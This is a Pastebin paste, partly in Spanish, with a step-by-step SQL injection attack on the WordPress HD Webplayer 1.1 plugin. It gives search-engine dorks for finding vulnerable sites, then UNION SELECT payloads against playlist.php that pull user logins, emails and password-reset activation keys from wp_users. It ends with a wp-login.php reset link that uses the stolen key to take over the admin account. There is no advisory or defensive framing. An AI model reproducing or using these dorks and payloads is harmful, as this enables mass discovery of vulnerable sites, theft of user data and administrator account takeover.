Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ===============================================================================================
- = SQL Injection: WordPress HD Webplayer – Version 1.1 =
- = =
- ===============================================================================================
- METODO 1 "Dork's"
- ===============================================================================================
- #DORK 1
- inurl:/wp-content/plugins/hd-webplayer/playlist.php?videoid=
- #DORK 2
- HD_Webplayer_Commercial_Key logo.jpg topleft 50 http
- ===============================================================================================
- METODO 2 "Dork's"
- ===============================================================================================
- # Dork 1 (config.php)
- inurl:"/wp-content/plugins/hd-webplayer/config.php?id="
- # Dork 2 (playlist.php)
- inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="
- # Dork 3 (General):
- inurl:"/wp-content/plugins/hd-webplayer/"
- ===============================================================================================
- METODO 1
- ===============================================================================================
- 1 : playlist.php?videoid=2+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_email,0x3b),2,3,4,5,6,7,8,9,10,11+from+wp_users
- ===============================================================================================
- 2 : /*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_activation_key,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_users
- ===============================================================================================
- 3 : wp-login.php?action=rp&key=KEY&login=admin
- ===============================================================================================
- METODO 2
- ===============================================================================================
- 1 : http://www. website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--
- ===============================================================================================
- 2 : http://www. website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_activation_key,0x3b),5,6,7,8,9,10,11 FROM wp_users--
- ===============================================================================================
- 3 : wp-login.php?action=rp&key=KEY&login=admin
- ===============================================================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement